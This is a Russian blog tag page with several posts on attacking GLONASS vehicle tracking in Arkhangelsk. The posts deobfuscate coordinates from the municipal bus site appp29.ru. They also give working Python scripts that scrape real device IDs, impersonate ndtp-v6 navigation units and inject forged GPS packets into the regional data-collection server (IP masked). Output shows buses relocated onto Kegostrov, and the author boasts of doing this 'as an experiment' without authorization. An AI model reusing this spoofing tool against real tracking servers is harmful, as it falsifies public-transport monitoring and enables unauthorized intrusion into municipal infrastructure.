11 заметок с тегомГЛОНАСС

Жизнь на Новой Земле

appp29 obfuscation

На днях случилось странное, appp29 решили освоить Новую Землю:) Понятно, что данные нарочно скорректированы, наряду с обфускацией кода. Что ж... вызов принят, пошли искать, как это дело поправить.

Смотрим в лог консоли.

appp29 obfuscation log

Идём по линку и опытным взглядом американского наблюдателя находим кусок кода.

appp29 obfuscation code

Что в более понятном варианте означает следующее:

(lat + 1081323) / 1200000  
(lon + 6552281) / 1800000

Game over, bro:)))

ГЛОНАСС

Обходим ГЛОНАСС контроль, перелётные автобусы

Обходим ГЛОНАСС контроль: перелётные автобусы

Задача простая: переместить автобусы из центра Архангельска на остров Кего в Новый рабочий посёлок. Странно да?:) Ничего личного, просто, ради эксперимента. Грин бы обрадовался.

План действий: прикидываемся навигаторами, подключаемся к архангельскому ЦОД, создаём паразитный трафик, смотрим на клиенте, что получается.

В качестве клиента будем использовать сайт МУП «АППП», для наглядности. IP адрес и порт ЦОДа достаём из навигатора. Протокол подделывать умеем (см. ниже). Осталось где-то взять идентификаторы устройств, которые привязаны к конкретному серверу сбора данных.

Можно, конечно, перебрать диапазон айдишников от 000000 до 999999, но это как-то много. Берём помощь зала:)
Идём на appp29.ru, смотрим, в каком виде прилетают данные.

{
    "id": "1020272",
    "lon": 40503715,
    "lat": 64586676,
    "dir": 267,
    "speed": 22,
    "lasttime": "01.03.2016 12:31:34",
    "gos_num": "",
    "rid": 13,
    "rnum": "6",
    "rtype": "А",
    "anim_key": 40933,
    "big_jump": "0",
    "anim_points": []
}, {
    "id": "1023105",
    "lon": 40574751,
    "lat": 64534087,
    "dir": 280,
    "speed": 0,
    "lasttime": "01.03.2016 12:31:33",
    "gos_num": "",
    "rid": 37,
    "rnum": "62",
    "rtype": "А",
    "anim_key": 40934,
    "big_jump": "0",
    "anim_points": []
}

Вообще, передавать ID устройств в голом виде - минус, который следует занести в карму ИП Кандрахина, но для нас "id": "1023105" - подарок судьбы, не иначе:)

Плохо помню код из предыдущих серий, по-этому, спарсим айдишники и выберем шестизнаки, они точно отработают.

import json
import urllib2


def get_unit():
    """
    Собираем ID с http://appp29.ru/php/getVehiclesMarkers.php,
    выбираем шестизнаки, отдаём кортеж с айдишниками.
    """
    url = 'http://appp29.ru/php/getVehiclesMarkers.php?rids=8-0,9-0,85-0,86-0,99-0,10-0,11-0,55-0,56-0,53-0,54-0,12-0,13-0,21-0,22-0,23-0,24-0,25-0,26-0,57-0,58-0,59-0,60-0,61-0,62-0,7-0,63-0,64-0,65-0,66-0,67-0,14-0,16-0,68-0,69-0,3-0,4-0,91-0,92-0,70-0,71-0,95-0,96-0,87-0,88-0,74-0,75-0,76-0,77-0,17-0,18-0,19-0,20-0,1-0,2-0,28-0,29-0,5-0,6-0,31-0,30-0,32-0,33-0,34-0,35-0,36-0,37-0,38-0,39-0,82-0,83-0,40-0,41-0,42-0,43-0,45-0,46-0,47-0,48-0,80-0,81-0,84-0,79-0,97-0,98-0,89-0,90-0,49-0,50-0,51-0,52-0,93-0,94-0&lat0=0&lng0=0&lat1=90&lng1=180&curk=40931&city=arhangelsk&info=0123'
    response = urllib2.urlopen(url)
    data = json.load(response)['anims']
    unit_id = ()

    for dt in data:
        if len(dt['id']) == 6:
            unit_id += (int(dt['id']), )

    return unit_id


if __name__ == '__main__':
    print get_unit()

Получим такую картину:

(123498, 144930, 145012, 123461, 137027, 136415, 141682, 123378, 145032, 121792, 123219, 143855, 137135, 126979, 143809, 136265, 121779, 123369, 123248, 143781, 126864, 121722, 143661, 140909, 143719, 121589, 143803, 143806, 141058, 143761, 123463, 122721, 140938, 121852, 121542, 141710, 144932, 145076, 121770, 144934, 126942, 145062, 145054, 136256, 121945, 145038, 123370, 143807, 145099, 124498, 144926, 136623, 121673, 141402, 123379, 143875, 126977, 141292, 123428, 137021, 145060, 144928, 145090, 123388, 121526, 143872, 123561, 122856, 141638, 142061, 122765, 121706, 143709, 121490, 123397, 141052, 137010, 126776, 145052, 126662, 141247, 141249, 121484, 121507, 137008, 136454, 136262, 144959, 126830, 126884, 141064)

Отлично, осталось подготовить географические данные.

Для простоты эксперимента, координаты Нового рабочего посёлка в Кегострове будем раздавать рандомно:

import random


def get_coordinates():
    """ ГСЧ без наворотов """
    position_x = random.randint(403901290, 403977600)
    position_y = random.randint(645401940, 645429430)

    return {'position_x': position_x, 'position_y': position_y}

Собираем всё в кучу.
Если по уму, так кодить нельзя в современном мире, цэ хардкор в стиле тру хацкер. Да, и не забываем про NPH_SND_REALTIME, здесь он изменён на NPH_SND_HISTORY.

# -*- coding: utf-8 -*-
"""
    Fucking ndtp-v6
    ===============

    author Dmitriy Def

"""

import binascii
import json
import random
import socket
import time
import urllib2
from datetime import datetime, timedelta
from textwrap import wrap


def calc_byte(char, crc):
    table = (
        0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241,
        0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 0xC481, 0x0440,
        0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40,
        0x0A00, 0xCAC1, 0xCB81, 0x0B40, 0xC901, 0x09C0, 0x0880, 0xC841,
        0xD801, 0x18C0, 0x1980, 0xD941, 0x1B00, 0xDBC1, 0xDA81, 0x1A40,
        0x1E00, 0xDEC1, 0xDF81, 0x1F40, 0xDD01, 0x1DC0, 0x1C80, 0xDC41,
        0x1400, 0xD4C1, 0xD581, 0x1540, 0xD701, 0x17C0, 0x1680, 0xD641,
        0xD201, 0x12C0, 0x1380, 0xD341, 0x1100, 0xD1C1, 0xD081, 0x1040,
        0xF001, 0x30C0, 0x3180, 0xF141, 0x3300, 0xF3C1, 0xF281, 0x3240,
        0x3600, 0xF6C1, 0xF781, 0x3740, 0xF501, 0x35C0, 0x3480, 0xF441,
        0x3C00, 0xFCC1, 0xFD81, 0x3D40, 0xFF01, 0x3FC0, 0x3E80, 0xFE41,
        0xFA01, 0x3AC0, 0x3B80, 0xFB41, 0x3900, 0xF9C1, 0xF881, 0x3840,
        0x2800, 0xE8C1, 0xE981, 0x2940, 0xEB01, 0x2BC0, 0x2A80, 0xEA41,
        0xEE01, 0x2EC0, 0x2F80, 0xEF41, 0x2D00, 0xEDC1, 0xEC81, 0x2C40,
        0xE401, 0x24C0, 0x2580, 0xE541, 0x2700, 0xE7C1, 0xE681, 0x2640,
        0x2200, 0xE2C1, 0xE381, 0x2340, 0xE101, 0x21C0, 0x2080, 0xE041,
        0xA001, 0x60C0, 0x6180, 0xA141, 0x6300, 0xA3C1, 0xA281, 0x6240,
        0x6600, 0xA6C1, 0xA781, 0x6740, 0xA501, 0x65C0, 0x6480, 0xA441,
        0x6C00, 0xACC1, 0xAD81, 0x6D40, 0xAF01, 0x6FC0, 0x6E80, 0xAE41,
        0xAA01, 0x6AC0, 0x6B80, 0xAB41, 0x6900, 0xA9C1, 0xA881, 0x6840,
        0x7800, 0xB8C1, 0xB981, 0x7940, 0xBB01, 0x7BC0, 0x7A80, 0xBA41,
        0xBE01, 0x7EC0, 0x7F80, 0xBF41, 0x7D00, 0xBDC1, 0xBC81, 0x7C40,
        0xB401, 0x74C0, 0x7580, 0xB541, 0x7700, 0xB7C1, 0xB681, 0x7640,
        0x7200, 0xB2C1, 0xB381, 0x7340, 0xB101, 0x71C0, 0x7080, 0xB041,
        0x5000, 0x90C1, 0x9181, 0x5140, 0x9301, 0x53C0, 0x5280, 0x9241,
        0x9601, 0x56C0, 0x5780, 0x9741, 0x5500, 0x95C1, 0x9481, 0x5440,
        0x9C01, 0x5CC0, 0x5D80, 0x9D41, 0x5F00, 0x9FC1, 0x9E81, 0x5E40,
        0x5A00, 0x9AC1, 0x9B81, 0x5B40, 0x9901, 0x59C0, 0x5880, 0x9841,
        0x8801, 0x48C0, 0x4980, 0x8941, 0x4B00, 0x8BC1, 0x8A81, 0x4A40,
        0x4E00, 0x8EC1, 0x8F81, 0x4F40, 0x8D01, 0x4DC0, 0x4C80, 0x8C41,
        0x4400, 0x84C1, 0x8581, 0x4540, 0x8701, 0x47C0, 0x4680, 0x8641,
        0x8201, 0x42C0, 0x4380, 0x8341, 0x4100, 0x81C1, 0x8081, 0x4040
    )

    if isinstance(char, str):
        byt = ord(char)
    else:
        byt = char

    crc = (crc >> 8) ^ table[(crc ^ byt) & 0xFF]

    return crc & 0xFFFF


def crc16(stng):
    """
    Контрольная сумма CRC-16 (Modbus).
    """
    crc = 0xFFFF
    stng = binascii.unhexlify(stng)
    for char in stng:
        crc = calc_byte(char, crc)
    stng = str(hex(crc))[2:]
    if len(stng) % 2 != 0:
        stng = '0' + stng

    return stng


def dec_to_reverse_hex(indec):
    """Принимаем десятичное значение, возвращаем обратный hex"""
    strng = str(hex(int(indec)))[2:]

    if len(strng) % 2 != 0:  # 71e -> 071e
        strng = '0' + strng

    strng = wrap(strng, 2)
    strng.reverse()

    return ''.join(strng)


def reverse_hex(instr):
    """Принимаем обратный hex, возвращаем десятичное значение"""
    instr = wrap(instr, 2)
    instr.reverse()

    return int(''.join(instr), 16)


def fake_ndtp(position_x, position_y, pack_id):
    """
    Возвращаем строку данных со своими параметрами,
    в формате ndtp_v6

        Длина: 97 байт

        7e7e 5200 0200 97d3 02 00000000 0000
        0100 6400 0100 01000000
        0000 71ea2855 7c17c017 5f337d26 e0 00 15 00 15 00 55 01af 00 06 00 1501
        0200000000000000000000000000000000000000 a8040100 16 01
        000008000200000000000801020000000000

    """
    gm_time = int(time.mktime((datetime.now()-timedelta(hours=0)).timetuple()))
    extra_dop = 224
    speed = 62
    average_speed = 21
    heading = random.randint(1, 360)
    altitude = 6
    satellites = 21
    odo_track = 66728
    gsm_power = 22
    gprs_state = 1

    data_crc = (
        '010064000100',  # 6400 - NPH_SND_HISTORY, от дурака
        dec_to_reverse_hex(pack_id).ljust(8, '0'),  # 70000000 -> 112
        '0000',
        dec_to_reverse_hex(gm_time).ljust(8, '0'),  # 77228852 -> unix time
        dec_to_reverse_hex(position_x).ljust(8, '0'),  # bcfab117 -> 397540028
        dec_to_reverse_hex(position_y).ljust(8, '0'),  # e7597926 -> 397540028
        dec_to_reverse_hex(extra_dop),  # e0 -> 224
        '00',
        dec_to_reverse_hex(speed),  # 09 -> 9
        '00',
        dec_to_reverse_hex(average_speed),  # 09 -> 9
        '00',
        dec_to_reverse_hex(heading),  # 63 -> 99
        '000000',
        dec_to_reverse_hex(altitude),  # 19 -> 25
        '00',
        dec_to_reverse_hex(satellites),  # 11 -> 17
        '010200000000000000000000000000000000000000',
        dec_to_reverse_hex(odo_track).ljust(6, '0'),  # a1f401 -> 128161
        '00',
        dec_to_reverse_hex(gsm_power),  # 15 -> 100
        dec_to_reverse_hex(gprs_state),  # 01 -> 1
        '000008000200000000000801020000000000',
    )

    data_full = (
        '7e7e52000200',
        str(crc16(''.join(data_crc))),  # bf7e
        '02000000000000',
        ''.join(data_crc)
    )

    return ''.join(data_full)


def fake_start_ndtp(devid):
    """
    Принимаем произвольный айдишник устройства,
    возвращаем строку данных в формате ndtp_v6 для первого запроса.
    """
    data_crc = (
        '00006400010000000000060002000200',
        dec_to_reverse_hex(devid),
        '000004000000000000'
    )
    data_full = (
        '7e7e1c000200',  # '7e7e1c000200',
        str(crc16(''.join(data_crc))),
        '02000000000000',
        ''.join(data_crc)
    )

    return ''.join(data_full)


def get_unit():
    """
    Собираем ID с http://appp29.ru/php/getVehiclesMarkers.php,
    выбираем шестизнаки, отдаём кортеж с айдишниками.
    """
    url = 'http://appp29.ru/php/getVehiclesMarkers.php?rids=9-0,8-0,86-0,85-0,99-0,11-0,10-0,56-0,55-0,53-0,54-0,12-0,13-0,21-0,22-0,24-0,23-0,25-0,26-0,57-0,58-0,61-0,62-0,59-0,60-0,63-0,7-0,65-0,64-0,67-0,66-0,14-0,16-0,69-0,68-0,4-0,3-0,92-0,91-0,71-0,70-0,95-0,96-0,87-0,88-0,75-0,74-0,76-0,77-0,17-0,18-0,20-0,19-0,2-0,1-0,28-0,29-0,5-0,6-0,31-0,30-0,32-0,33-0,35-0,34-0,37-0,36-0,39-0,38-0,83-0,82-0,40-0,41-0,43-0,42-0,45-0,46-0,48-0,47-0,81-0,80-0,84-0,79-0,98-0,97-0,89-0,90-0,49-0,50-0,52-0,51-0,94-0,93-0&lat0=0&lng0=0&lat1=90&lng1=180&curk=0&city=arhangelsk&info=0123'
    response = urllib2.urlopen(url)
    data = json.load(response)['anims']
    unit_id = ()

    for dt in data:
        if len(dt['id']) == 6:
            unit_id += (int(dt['id']), )

    return unit_id


def get_coordinates():
    """ ГСЧ без наворотов """
    position_x = random.randint(403901290, 403977600)
    position_y = random.randint(645401940, 645429430)

    return {
        'position_x': position_x,
        'position_y': position_y
    }


def airbus(pack_id, unit):
    """ Гнерим трафик """
    for unit_id in units:
        try:
            sock = socket.socket()
            sock.connect(('XXX.XXX.XX.XXX', 4900))
            sock.settimeout(2.0)
            sock.send(
                binascii.unhexlify(fake_start_ndtp(unit_id))
            )
            data = sock.recv(2048).encode('hex')
            if data:
                sock.send(binascii.unhexlify(fake_ndtp(
                    get_coordinates()['position_x'],
                    get_coordinates()['position_y'],
                    pack_id
                )))
                print 'DevID: %s\nInСonfirmFirst: %s' % (
                    unit_id,
                    data
                )
                print 'InСonfirmTwo: %s\n\n' % (sock.recv(2048).encode('hex'),)
        except socket.timeout:
            print u'\nNo data: %s\n' % unit_id

        sock.close()  # коннект не держим, сразу закрываемся


if __name__ == '__main__':
    i = 0
    units = get_unit()
    while i <= 100:  # тупо циклом
        pack_id = 2000 + i
        airbus(pack_id, units)
        i += 1

Запускаем. Смотрим на результат.

Так было.

В Багдаде всё спокойно.

ГЛОНАСС в действии. Кегостров атакован автобусами киборгами:)

А теперь не всё спокойно.

Круто!

... и вдогонку прилетают загадочные послания от сервера:

DevID: 137324
InСonfirmFirst: 7e7e0e00020001ab020000000001000000000000000000000000000000
InСonfirmTwo: 7e7e3e0202005e4a02000400000200050064000000010000000100008000000000010000003c4e4156534352207665723d312e303e3c49443e313c2f49443e3c46524f4d3e5345525645523c2f46524f4d3e3c544f3e555345523c2f544f3e3c545950453e51554552593c2f545950453e3c4d53472074696d653d3138303020747970653d6261636b67726f756e643e266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b303034266e6273703b266e6273703b33266e6273703b266e6273703b266e6273703bd6266e6273703b2b3033266e6273703b266e6273703b3c6272202f3e266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b30383a3538266e6273703b266e6273703b3c6272202f3e266e6273703b266e6273703bccd0c2266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b30393a3036266e6273703b266e6273703b3c6272202f3e266e6273703b266e6273703befebcbc5cdc8cdc0266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b30393a3131266e6273703b266e6273703b3c6272202f3e3c2f4d53473e3c2f4e41565343523e

Ok. Расшифруем.

$ python
Python 2.7.10 (default, Oct 23 2015, 19:19:21)
>>> st = '7e7e3e0202005e4a02000400000200050064000000010000000100008000000000010000003c4e4156534352207665723d312e303e3c49443e313c2f49443e3c46524f4d3e5345525645523c2f46524f4d3e3c544f3e555345523c2f544f3e3c545950453e51554552593c2f545950453e3c4d53472074696d653d3138303020747970653d6261636b67726f756e643e266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b303034266e6273703b266e6273703b33266e6273703b266e6273703b266e6273703bd6266e6273703b2b3033266e6273703b266e6273703b3c6272202f3e266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b30383a3538266e6273703b266e6273703b3c6272202f3e266e6273703b266e6273703bccd0c2266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b30393a3036266e6273703b266e6273703b3c6272202f3e266e6273703b266e6273703befebcbc5cdc8cdc0266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b30393a3131266e6273703b266e6273703b3c6272202f3e3c2f4d53473e3c2f4e41565343523e'

>>> print u'%s' % st.decode('hex').decode('cp1251')

~~>^JdЂ<NAVSCR ver=1.0><ID>1</ID><FROM>SERVER</FROM><TO>USER</TO><TYPE>QUERY</TYPE><MSG time=1800 type=background>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;004&nbsp;&nbsp;3&nbsp;&nbsp;&nbsp;Ц&nbsp;+03&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;08:58&nbsp;&nbsp;<br />&nbsp;&nbsp;МРВ&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;09:06&nbsp;&nbsp;<br />&nbsp;&nbsp;плЛЕНИНА&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;09:11&nbsp;&nbsp;<br /></MSG></NAVSCR>

Собственно, нам ещё и график движения отдают:)

        004  3   Ц +03                    08:58     МРВ            09:06     плЛЕНИНА       09:11  

Это конечно забавно и интересно. Можно управлять вселенной, сидя за монитором на берегу Енисея. Но, один вопрос никак не покидает: «Почему у нас всё делают так... через жопу?»

ГЛОНАСС

Обходим ГЛОНАСС контроль, часть 6

Обходим ГЛОНАСС контроль, ч.6

Парсим, внедряем данные на примере протокола ndtp v6.

В основе как-то так. Есть не принципиальные места над которыми надо подумать...
И, да, в структуру данных специально внесены изменения, работать будет, но не в реалтайме:)

# -*- coding: utf-8 -*-
"""
    Fucking ndtp-v6
    ===============

    author Dmitriy Def

"""

import binascii
import socket
import time
from datetime import datetime
from textwrap import wrap


def calc_byte(char, crc):
    table = (
        0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241,
        0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 0xC481, 0x0440,
        0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40,
        0x0A00, 0xCAC1, 0xCB81, 0x0B40, 0xC901, 0x09C0, 0x0880, 0xC841,
        0xD801, 0x18C0, 0x1980, 0xD941, 0x1B00, 0xDBC1, 0xDA81, 0x1A40,
        0x1E00, 0xDEC1, 0xDF81, 0x1F40, 0xDD01, 0x1DC0, 0x1C80, 0xDC41,
        0x1400, 0xD4C1, 0xD581, 0x1540, 0xD701, 0x17C0, 0x1680, 0xD641,
        0xD201, 0x12C0, 0x1380, 0xD341, 0x1100, 0xD1C1, 0xD081, 0x1040,
        0xF001, 0x30C0, 0x3180, 0xF141, 0x3300, 0xF3C1, 0xF281, 0x3240,
        0x3600, 0xF6C1, 0xF781, 0x3740, 0xF501, 0x35C0, 0x3480, 0xF441,
        0x3C00, 0xFCC1, 0xFD81, 0x3D40, 0xFF01, 0x3FC0, 0x3E80, 0xFE41,
        0xFA01, 0x3AC0, 0x3B80, 0xFB41, 0x3900, 0xF9C1, 0xF881, 0x3840,
        0x2800, 0xE8C1, 0xE981, 0x2940, 0xEB01, 0x2BC0, 0x2A80, 0xEA41,
        0xEE01, 0x2EC0, 0x2F80, 0xEF41, 0x2D00, 0xEDC1, 0xEC81, 0x2C40,
        0xE401, 0x24C0, 0x2580, 0xE541, 0x2700, 0xE7C1, 0xE681, 0x2640,
        0x2200, 0xE2C1, 0xE381, 0x2340, 0xE101, 0x21C0, 0x2080, 0xE041,
        0xA001, 0x60C0, 0x6180, 0xA141, 0x6300, 0xA3C1, 0xA281, 0x6240,
        0x6600, 0xA6C1, 0xA781, 0x6740, 0xA501, 0x65C0, 0x6480, 0xA441,
        0x6C00, 0xACC1, 0xAD81, 0x6D40, 0xAF01, 0x6FC0, 0x6E80, 0xAE41,
        0xAA01, 0x6AC0, 0x6B80, 0xAB41, 0x6900, 0xA9C1, 0xA881, 0x6840,
        0x7800, 0xB8C1, 0xB981, 0x7940, 0xBB01, 0x7BC0, 0x7A80, 0xBA41,
        0xBE01, 0x7EC0, 0x7F80, 0xBF41, 0x7D00, 0xBDC1, 0xBC81, 0x7C40,
        0xB401, 0x74C0, 0x7580, 0xB541, 0x7700, 0xB7C1, 0xB681, 0x7640,
        0x7200, 0xB2C1, 0xB381, 0x7340, 0xB101, 0x71C0, 0x7080, 0xB041,
        0x5000, 0x90C1, 0x9181, 0x5140, 0x9301, 0x53C0, 0x5280, 0x9241,
        0x9601, 0x56C0, 0x5780, 0x9741, 0x5500, 0x95C1, 0x9481, 0x5440,
        0x9C01, 0x5CC0, 0x5D80, 0x9D41, 0x5F00, 0x9FC1, 0x9E81, 0x5E40,
        0x5A00, 0x9AC1, 0x9B81, 0x5B40, 0x9901, 0x59C0, 0x5880, 0x9841,
        0x8801, 0x48C0, 0x4980, 0x8941, 0x4B00, 0x8BC1, 0x8A81, 0x4A40,
        0x4E00, 0x8EC1, 0x8F81, 0x4F40, 0x8D01, 0x4DC0, 0x4C80, 0x8C41,
        0x4400, 0x84C1, 0x8581, 0x4540, 0x8701, 0x47C0, 0x4680, 0x8641,
        0x8201, 0x42C0, 0x4380, 0x8341, 0x4100, 0x81C1, 0x8081, 0x4040
    )

    if isinstance(char, str):
        byt = ord(char)
    else:
        byt = char

    crc = (crc >> 8) ^ table[(crc ^ byt) & 0xFF]

    return crc & 0xFFFF


def crc16(stng):
    """Контрольная сумма CRC-16 (Modbus)."""
    crc = 0xFFFF
    stng = binascii.unhexlify(stng)
    for char in stng:
        crc = calc_byte(char, crc)
    stng = str(hex(crc))[2:]
    if len(stng) % 2 != 0:
        stng = '0' + stng

    return stng


def dec_to_reverse_hex(indec):
    """Принимаем десятичное значение, возвращаем обратный hex"""
    strng = str(hex(int(indec)))[2:]

    if len(strng) % 2 != 0:  # 71e -> 071e
        strng = '0' + strng

    strng = wrap(strng, 2)
    strng.reverse()

    return ''.join(strng)


def reverse_hex(instr):
    """Принимаем обратный hex, возвращаем десятичное значение"""
    instr = wrap(instr, 2)
    instr.reverse()

    return int(''.join(instr), 16)


def parse_ndtp(indata):
    """
    Парсим строку данных, возвращаем словарь.

    Пример:
        7e7e5200020097d302000000000000
        01006400010001000000
        000071ea28557c17c0175f337d26e000150015005501af0006001501
        0200000000000000000000000000000000000000a804010016010
        00008000200000000000801020000000000

        {
            'gsm_power': 22,
            'pack_id': 1,
            'gm_time': '2015-04-11 12:33:37',
            'average_speed': 21,
            'odo_track': 66728,
            'crc': '97d3',
            'gprs_state': 1,
            'position_x': 39.8464892,
            'position_y': 64.5739359,
            'satellites': 21,
            'altitude': 6,
            'speed': 21,
            'heading': 85,
            'extra_dop': '11100000'
        }
    """

    parse = {}

    parse['crc'] = crc16(indata[-reverse_hex(indata[4:6])*2:])
    parse['pack_id'] = reverse_hex(indata[42:50])
    parse['gm_time'] = datetime.fromtimestamp(
        reverse_hex(indata[54:62])).strftime('%Y-%m-%d %H:%M:%S')
    parse['position_x'] = float(reverse_hex(indata[62:70])) / 10000000
    parse['position_y'] = float(reverse_hex(indata[70:78])) / 10000000
    # extra_dop is bin (11100000)- достоверность навигационных данных, потом разберёмся
    parse['extra_dop'] = bin(int(indata[78:80], 16))[2:].zfill(8)
    parse['speed'] = reverse_hex(indata[82:84])
    parse['average_speed'] = reverse_hex(indata[86:88])
    parse['heading'] = reverse_hex(indata[90:92])
    parse['altitude'] = reverse_hex(indata[98:100])
    parse['satellites'] = reverse_hex(indata[102:104])
    parse['odo_track'] = reverse_hex(indata[146:154])
    parse['gsm_power'] = reverse_hex(indata[154:156])
    parse['gprs_state'] = reverse_hex(indata[156:158])

    return parse


def fake_ndtp():
    """
    Возвращаем строку данных со своими параметрами,
    в формате ndtp_v6

        Длина: 97 байт

        7e7e 5200 0200 97d3 02 00000000 0000
        0100 6400 0100 01000000
        0000 71ea2855 7c17c017 5f337d26 e0 00 15 00 15 00 55 01af 00 06 00 1501
        0200000000000000000000000000000000000000 a8040100 16 01
        000008000200000000000801020000000000

    """
    pack_id = 1
    gm_time = int(time.mktime(datetime.now().timetuple()))
    position_x = 40.430483 * 10000000
    position_y = 64.535433 * 10000000
    extra_dop = 224
    speed = 21
    average_speed = 21
    heading = 85
    altitude = 6
    satellites = 21
    odo_track = 66728
    gsm_power = 22
    gprs_state = 1

    data_crc = (
        '010064000100',
        dec_to_reverse_hex(pack_id).ljust(8, '0'),  # 70000000 -> 112
        '0000',
        dec_to_reverse_hex(gm_time).ljust(8, '0'),  # 77228852 -> unix time
        dec_to_reverse_hex(position_x).ljust(8, '0'),  # bcfab117 -> 397540028
        dec_to_reverse_hex(position_y).ljust(8, '0'),  # e7597926 -> 397540028
        dec_to_reverse_hex(extra_dop),  # e0 -> 224
        '00',
        dec_to_reverse_hex(speed),  # 09 -> 9
        '00',
        dec_to_reverse_hex(average_speed),  # 09 -> 9
        '00',
        dec_to_reverse_hex(heading),  # 63 -> 99
        '000000',
        dec_to_reverse_hex(altitude),  # 19 -> 25
        '00',
        dec_to_reverse_hex(satellites),  # 11 -> 17
        '010200000000000000000000000000000000000000',
        dec_to_reverse_hex(odo_track).ljust(6, '0'),  # a1f401 -> 128161
        '00',
        dec_to_reverse_hex(gsm_power),  # 15 -> 100
        dec_to_reverse_hex(gprs_state),  # 01 -> 1
        '000008000200000000000801020000000000',
    )

    data_full = (
        '7e7e52000200',
        str(crc16(''.join(data_crc))),  # bf7e
        '02000000000000',
        ''.join(data_crc)
    )

    return ''.join(data_full)


def fake_start_ndtp(devid):
    """
    Принимаем произвольный айдишник устройства,
    возвращаем строку данных в формате ndtp_v6 для первого запроса.
    """
    data_crc = (
        '00006400010000000000060002000200',
        dec_to_reverse_hex(devid),
        '000004000000000000'
    )
    data_full = (
        '7e7e1c000200',
        str(crc16(''.join(data_crc))),
        '02000000000000',
        ''.join(data_crc)
    )

    return ''.join(data_full)


def main():
    """Тестируем."""
    dev_id = 140900
    test_data = '7e7e5200020097d30200000000000001006400010001000000'\
                '000071ea28557c17c0175f337d26e000150015005501af0006'\
                '0015010200000000000000000000000000000000000000a804'\
                '01001601000008000200000000000801020000000000'

    print 'TestData: %s \n%s \n\nFakeStart for %s: %s\n'\
        'FakeData: %s\n%s\n\n' % (
            test_data,
            parse_ndtp(test_data),
            dev_id,
            fake_start_ndtp(dev_id),
            fake_ndtp(),
            parse_ndtp(fake_ndtp())
        )

    # рубимся на сервер сбора данных, меняем айдишники
    while dev_id < 140913:
        try:
            sock = socket.socket()
            sock.connect(('XXX.XXX.XX.XXX', 4900))
            sock.settimeout(2.0)
            sock.send(
                binascii.unhexlify(fake_start_ndtp(dev_id))
            )
            data = sock.recv(2048).encode('hex')
            if data:
                sock.send(binascii.unhexlify(fake_ndtp()))
                print 'OutStart: %s\nInСonfirm: %s\nOutFake: %s\n'\
                    'InСonfirm: %s\n\n' % (
                        fake_start_ndtp(dev_id),
                        data,
                        fake_ndtp(),
                        sock.recv(2048).encode('hex')
                    )
        except socket.timeout:
            print u'No data: %s' % dev_id

        sock.close()

        time.sleep(0.1)

        dev_id += 1

if __name__ == '__main__':
    main()

На выходе получим примерно такую штуку (InСonfirm - ответ сервера, типа, схавал):

TestData: 7e7e5200020097d30200000000000001006400010001000000000071ea28557c17c0175f337d26e000150015005501af00060015010200000000000000000000000000000000000000a80401001601000008000200000000000801020000000000 
{'gsm_power': 22, 'pack_id': 1, 'gm_time': '2015-04-11 12:33:37', 'average_speed': 21, 'odo_track': 66728, 'crc': '97d3', 'gprs_state': 1, 'position_x': 39.8464892, 'position_y': 64.5739359, 'satellites': 21, 'altitude': 6, 'speed': 21, 'heading': 85, 'extra_dop': '11100000'}

FakeStart for 140900: 7e7e1c000200e62c0200000000000000006400010000000000060002000200642602000004000000000000
FakeData: 7e7e52000200958502000000000000010065000100010000000000bdfdce56be3319185a537726e0001500150055000000060015010200000000000000000000000000000000000000a80401001601000008000200000000000801020000000000
{'gsm_power': 22, 'pack_id': 1, 'gm_time': '2016-02-25 16:12:29', 'average_speed': 21, 'odo_track': 66728, 'crc': '9585', 'gprs_state': 1, 'position_x': 40.430483, 'position_y': 64.535433, 'satellites': 21, 'altitude': 6, 'speed': 21, 'heading': 85, 'extra_dop': '11100000'}


OutStart: 7e7e1c000200e62c0200000000000000006400010000000000060002000200642602000004000000000000
InСonfirm: 7e7e0e00020001ab020000000001000000000000000000000000000000
OutFake: 7e7e52000200958502000000000000010065000100010000000000bdfdce56be3319185a537726e0001500150055000000060015010200000000000000000000000000000000000000a80401001601000008000200000000000801020000000000
InСonfirm: 7e7e0e0002000c6a020000000002000100000000000100000000000000


OutStart: 7e7e1c00020025d10200000000000000006400010000000000060002000200652602000004000000000000
InСonfirm: 7e7e0e00020001ab020000000001000000000000000000000000000000
OutFake: 7e7e52000200958502000000000000010065000100010000000000bdfdce56be3319185a537726e0001500150055000000060015010200000000000000000000000000000000000000a80401001601000008000200000000000801020000000000
InСonfirm: 7e7e0e0002000c6a020000000002000100000000000100000000000000


OutStart: 7e7e1c00020021d50200000000000000006400010000000000060002000200662602000004000000000000
InСonfirm: 7e7e0e00020001ab020000000001000000000000000000000000000000
